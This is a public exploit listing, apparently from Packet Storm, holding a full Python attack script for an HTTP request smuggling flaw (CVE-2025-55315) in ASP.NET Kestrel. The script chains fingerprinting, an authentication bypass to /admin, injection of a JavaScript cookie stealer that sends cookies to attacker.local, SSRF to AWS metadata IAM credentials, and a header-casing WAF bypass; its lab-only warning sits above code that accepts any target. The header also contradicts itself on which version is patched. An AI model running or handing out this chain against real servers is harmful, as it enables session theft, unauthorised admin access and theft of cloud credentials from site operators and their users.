Share
## https://sploitus.com/exploit?id=PACKETSTORM:218372
# Exploit Title: ASP.net  8.0.10 - Bypass
    # Date: 2025-11-03
    # Author: Mohammed Idrees Banyamer
    # Author Country: Jordan
    # Instagram: @banyamer_security
    # GitHub: https://github.com/mbanyamer
    # CVE: CVE-2025-55315
    # Tested on: .NET Kestrel (unpatched) - ASP.NET Core on localhost (lab environment)
    # Platform: remote
    # Type: webapps
    # Attack Vector: Network (HTTP/HTTPS) - Remote exploitation via malformed chunked encoding
    # CVSS: 9.8 (Critical) - Estimated: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    #
    # Description:
    #   This exploit demonstrates a critical HTTP Request Smuggling vulnerability in
    #   unpatched versions of .NET Kestrel due to improper handling of malformed
    #   chunk extensions (LF-only line endings). The script performs:
    #     1. Automatic fingerprinting to detect vulnerable instances
    #     2. Auth bypass to access restricted endpoints (/admin)
    #     3. Session hijacking via response queue poisoning (JS cookie stealer)
    #     4. SSRF to internal metadata services (e.g., AWS 169.254.169.254)
    #   Includes WAF bypass using 'chUnKEd' header and generates detailed JSON reports.
    #
    #   The vulnerability allows full remote compromise: authentication bypass,
    #   session theft, and internal network access โ€” all from a single HTTP request.
    #
    #   Patched in .NET 9.0.1 / 8.0.10+ (October 2025).
    #
    # IMPORTANT SAFETY :
    #   -  DO NOT RUN AGAINST PRODUCTION OR THIRD-PARTY SYSTEMS.
    #   - Use only in isolated environments (VM, Docker with --network none).
    #   - All payloads are educational and non-destructive by design.
    #   - Modify payloads only within your controlled lab.
    #
    # References:
    #   - CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-55315
    #   - Microsoft Security Advisory (hypothetical): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315
    
    
    from __future__ import annotations
    import socket
    import ssl
    import time
    import argparse
    import json
    import os
    from typing import Tuple, Optional
    
    DEFAULT_TIMEOUT = 3.0
    READ_CHUNK = 4096
    REPORT_DIR = "kestrel_desync_reports"
    os.makedirs(REPORT_DIR, exist_ok=True)
    
    # ------------------ Utilities ------------------
    def now_iso() -> str:
        return time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())
    
    def hexdump(b: bytes, maxlen: int = 200) -> str:
        shown = b[:maxlen]
        hexed = ' '.join(f"{x:02x}" for x in shown)
        return f"{hexed} ..." if len(b) > maxlen else hexed
    
    def save_file(path: str, data: bytes) -> None:
        try:
            with open(path, 'wb') as f:
                f.write(data)
            print(f"[+] Saved: {path}")
        except Exception as e:
            print(f"[!] Save failed: {e}")
    
    # ------------------ Networking ------------------
    def send_http(host: str, port: int, data: bytes, use_tls: bool = False) -> Tuple[Optional[bytes], bool]:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(DEFAULT_TIMEOUT)
        try:
            if use_tls:
                ctx = ssl.create_default_context()
                s = ctx.wrap_socket(s, server_hostname=host)
            s.connect((host, port))
            s.sendall(data)
    
            parts = []
            while True:
                try:
                    chunk = s.recv(READ_CHUNK)
                    if not chunk: break
                    parts.append(chunk)
                except socket.timeout:
                    break
            resp = b''.join(parts)
    
            s.settimeout(0.2)
            try:
                s.recv(1)
                open_flag = True
            except:
                open_flag = False
            s.close()
            return resp, open_flag
        except Exception:
            return None, False
    
    # ------------------ Request Builder (WAF Bypass) ------------------
    def build_chunked(method: str, path: str, body: bytes, extra_headers: list = None) -> bytes:
        headers = [
            f"{method} {path} HTTP/1.1",
            "Host: localhost",
            "Transfer-Encoding: chUnKEd",  # WAF Bypass
            "Content-Type: text/plain",
        ]
        if extra_headers:
            headers.extend(extra_headers)
        headers.extend(["", ""])
        return "\r\n".join(headers).encode() + body
    
    # ------------------ Fingerprint ------------------
    def fingerprint(host: str, port: int, use_tls: bool) -> Tuple[bool, Optional[bytes]]:
        print(f"[*] Fingerprinting {host}:{port}...")
        payload = b"1\nx\n0\n\n"
        req = build_chunked("POST", "/", payload)
        resp, _ = send_http(host, port, req, use_tls)
        if resp and b"400" not in resp.split(b'\r\n', 1)[0]:
            print(f"[!] VULNERABLE: Accepted LF-only chunk!")
            return True, resp
        print(f"[+] Patched: 400 Bad Request")
        return False, resp
    
    # ------------------ Exploit Chain ------------------
    def exploit_chain(host: str, port: int, use_tls: bool):
        results = []
    
        # 1. Auth Bypass
        print(f"[!] 1. Auth Bypass โ†’ /admin")
        smug_admin = b"0\r\n\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\nX-Bypass: yes\r\n\r\n"
        req1 = build_chunked("POST", "/", b"1;ext\nx\n" + smug_admin, ["Content-Length: 50"])
        resp1, _ = send_http(host, port, req1, use_tls)
        if resp1 and (b"admin" in resp1.lower() or b"dashboard" in resp1.lower()):
            results.append("Auth Bypass: SUCCESS")
            save_file(os.path.join(REPORT_DIR, f"admin_page_{host}_{port}.html"), resp1)
        else:
            results.append("Auth Bypass: FAILED")
    
        # 2. Session Hijacking
        print(f"[!] 2. Session Hijacking โ†’ JS Stealer")
        js_payload = (
            b"0\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n"
            b"Content-Type: text/html\r\nContent-Length: 120\r\n\r\n"
            b"<script>fetch('http://attacker.local/steal?c='+document.cookie)</script>"
        )
        req2 = build_chunked("POST", "/", b"1;ext\nx\n" + js_payload)
        send_http(host, port, req2, use_tls)
        results.append("Session Hijack: INJECTED")
    
        # 3. SSRF
        print(f"[!] 3. SSRF โ†’ AWS Metadata")
        ssrf = b"0\r\n\r\nGET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: localhost\r\n\r\n"
        req3 = build_chunked("POST", "/", b"1;ext\nx\n" + ssrf)
        resp3, _ = send_http(host, port, req3, use_tls)
        if resp3 and b"role" in resp3:
            results.append("SSRF: SUCCESS")
            save_file(os.path.join(REPORT_DIR, f"ssrf_metadata_{host}_{port}.txt"), resp3)
        else:
            results.append("SSRF: FAILED")
    
        return results
    
    # ------------------ Reporting ------------------
    def save_json_report(host: str, port: int, use_tls: bool, results: list):
        report = {
            "target": f"{host}:{port}",
            "tls": use_tls,
            "timestamp": now_iso(),
            "cve": "CVE-2025-55315",
            "status": "VULNERABLE",
            "waf_bypass": "chUnKEd",
            "exploits": results
        }
        path = os.path.join(REPORT_DIR, f"REPORT_{host}_{port}_{int(time.time())}.json")
        with open(path, 'w', encoding='utf-8') as f:
            json.dump(report, f, indent=2)
        print(f"[+] JSON Report: {path}")
    
    # ------------------ CLI ------------------
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument("target", help="host:port or host:port:tls")
        args = parser.parse_args()
    
        parts = args.target.split(":")
        host = parts[0]
        port = int(parts[1])
        use_tls = len(parts) > 2 and parts[2].lower() in ("tls", "1")
    
        print(f"\n=== Kestrel Desync Full Chain ===\nTarget: {host}:{port} (TLS: {use_tls})\n")
    
        is_vuln, _ = fingerprint(host, port, use_tls)
        if not is_vuln:
            print("[+] Target is patched. Exiting.")
            return
    
        results = exploit_chain(host, port, use_tls)
        save_json_report(host, port, use_tls, results)
    
        print(f"\n[+] Exploitation chain completed!")
        print(f"[+] All files in: {REPORT_DIR}")
    
    if __name__ == "__main__":
        main()